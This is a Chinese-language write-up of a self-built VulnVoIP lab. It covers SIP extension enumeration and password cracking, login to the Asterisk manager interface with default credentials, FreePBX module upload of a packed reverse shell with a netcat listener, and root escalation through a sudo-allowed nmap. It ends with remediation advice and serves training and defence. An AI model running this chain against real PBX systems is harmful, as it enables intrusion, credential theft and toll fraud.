VulnVoIP 靶场渗透测试报告(SIP 与 Asterisk 管理面)
VulnVoIP 靶场渗透测试报告(SIP 与 Asterisk 管理面)
本文为自建靶场环境(Kali 192.168.11.128 → VulnVoIP 靶机 192.168.11.143)的练习记录,非真实业务系统。
执行摘要:目标开放 80(FreePBX Web)与 5038(Asterisk Call Manager)。先用 svmap / svwar / svcrack 做 SIP 资产识别、分机枚举与弱口令爆破,再以 Asterisk 管理接口默认口令
admin/amp111登录 5038,用sip show users拿到全部分机口令;随后进入 FreePBX 后台,利用模块上传(仅允许.tgz)上传打包后的反弹 shell 取得 shell;最后通过 sudo 配置错误(nmap免密)提权到 root。结论:这条链说明”资产测绘不等于只扫网站”——PBX、摄像头、打印机这类非 Web 面常带默认口令,一旦暴露就是现成入口。
信息收集
靶机IP
- 靶机的IP为192.168.11.143。
1 | sudo arp-scan -l |
端口扫描
- 扫下端口,80是开的,还有一个5038但服务nmap无法知道。
1 | nmap -p- 192.168.11.143 |
- 既然无法指导服务,我们就专门扫一下5038这个端口。
1 | nmap -A -n -p 5038 192.168.11.143 |
- 上述扫描结果可以看出,5038/tcp 提供 Asterisk Call Manager 1.1。
VoIP(网络电话)
- VoIP(Voice over Internet Protocol)是一种在IP网络上使用IP协议以数据包的方式传输语音的技术。它允许用户通过因特网、企业内部互连网或局域网实现语音通信。在VoIP网络中,语音信号被数字化、压缩并转换成IP包,然后在IP网络中传输。VoIP信令协议负责建立和取消呼叫,传输用于定位用户及协商能力所需的信息。这项技术的主要优势包括低成本、数据、语音和视频在同一网络上的集成,以及集中式网络上的新服务和对终端用户的简化管理。
svmap(工具)
svmap 工具是一款专门用于审计 VoIP(网络电话) 系统的安全扫描工具。它的核心任务是识别网络中存在的 SIP(会话初始协议)服务器,而SIP正是构建大多数VoIP服务(如IP电话、视频会议)的基础通信协议。
svmap工具扫一下目标IP。
1 | svmap 192.168.11.143 |
svwar
- svwar是 SIPVicious 工具套件中的一个重要组件,专门用于对基于 SIP(会话初始协议) 的 VoIP 系统进行安全审计。它的核心功能是枚举(发现)PBX(电话交换机系统)上有效的分机号。
1 | -D 使用默认的扩展号去做扫描, 可使用 -e 参数自行指定. |
1 | svwar -D -m INVITE 192.168.11.143 |
svcrack
对枚举出的分机号进行在线密码破解。
爆破用户密码,
2000/password123。
1 | svcrack -u 2000 -d rockyou.txt 192.168.11.143 |
渗透阶段
- 之前扫描出来的5038端口就是Asterisk Call Manager服务,它的默认管理口令为:
admin/amp111。telnet远程连接一下。
1 | telnet 192.168.11.143 5038 |
Telnet构造查询指令
使用 Telnet 构造查询指令是进行网络服务调试和测试的一项实用技能。它的核心在于手动模拟客户端与服务器之间的原始网络通信。
刚刚使用了一个预设的
action: login命令,尝试了用户名admin和密码amp111,成功获得了Response: Success和Authentication accepted的响应。这是一个关键突破,意味使用了正确的(很可能是默认或弱)凭据,获得了该系统的管理权限。登陆后,使用
sip show users命令。这个命令列出了Asterisk系统中所有SIP用户的核心机密信息,包括:分机号/用户名 (如
100,101,2000)明文或哈希后的密码 (如
s3cur3,letmein123,password123)这些是进行SIP注册攻击、语音钓鱼(Vishing)、或拨打非法长途电话的直接凭据。
1 | action: command |
进一步使用
voicemailuserslist命令。这枚举了语音信箱用户的配置详情,例如:语音信箱号码 (
2000) 对应实体 (Support)。设置参数(如最大消息长度、是否可以审查消息等)。这些信息可用于后续的语音信箱滥用或社会工程学攻击。
1 | action: voicemailuserslist |
下载X-Lite
- 拿到网页后台账号密码:
support:securesupport123。
RCE
- 进入到管理页面在
/admin/config.php?display=modules&type=tool&extdisplay=upload页面下可以进行文件上传,但是它限制了格式,只能用tgz或者tar.gz格式的文件。
- 这两个文件格式是linux系统压缩文件的格式,所以用指令将写好的反弹shell放在文件夹中打包(命名格式是网站要求的,不按照这个格式会报错)。
1 | tar -czvf shell-1.0.tgz shell |
- 上传成功。
- 现在不知道文件上传到了哪里,所以扫描一下目录。
1 | dirb http://192.168.11.143/admin/ |
- 发现上传的文件就在
/admin/modules/目录下。
- kali开启监听后打开反弹shell。
1 | nc -lvnp 9999 |
提权阶段
- python升级为交互式终端。
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
- 查看用户权限:
sudo -l显示nmap与yum可免密执行(NOPASSWD),属于典型的 sudo 授权过宽。
1 | sudo -l |
- 使用 nmap 交互模式提权(
--interactive在较新版本 nmap 中已被移除,这台靶机是旧版本环境)。
1 | sudo nmap --interactive |
- 模拟shell会话环境,
!用来告诉nmap这是一个系统命令。
1 | !sh |
- 提权成功。
1 | id |
总结与修复建议
根因
- Asterisk 管理接口(5038)使用默认口令
admin/amp111,且直接对业务网开放; - SIP 分机号可被枚举,分机口令为弱口令,可被在线爆破;
- FreePBX 模块上传只校验压缩包后缀、不校验包内容,解压后的 PHP 文件落在
/admin/modules/且可被直接访问执行; sudo允许普通用户免密执行nmap/yum,等于变相给出 root(旧版 nmap 的--interactive能逃逸出 shell)。
修复
- 5038 / 5060 / 5080 等管理与信令端口不对公网开放,改强口令并启用来源 ACL;
- 分机口令强制复杂度 + 登录失败锁定,关闭分机枚举;
- 模块上传校验包内容与签名,上传目录禁止脚本执行,解压产物不可被 Web 直接访问;
- 收紧 sudoers:禁止免密执行
nmap、yum等可逃逸命令(根因是授权过宽,不只是 nmap 版本问题)。




















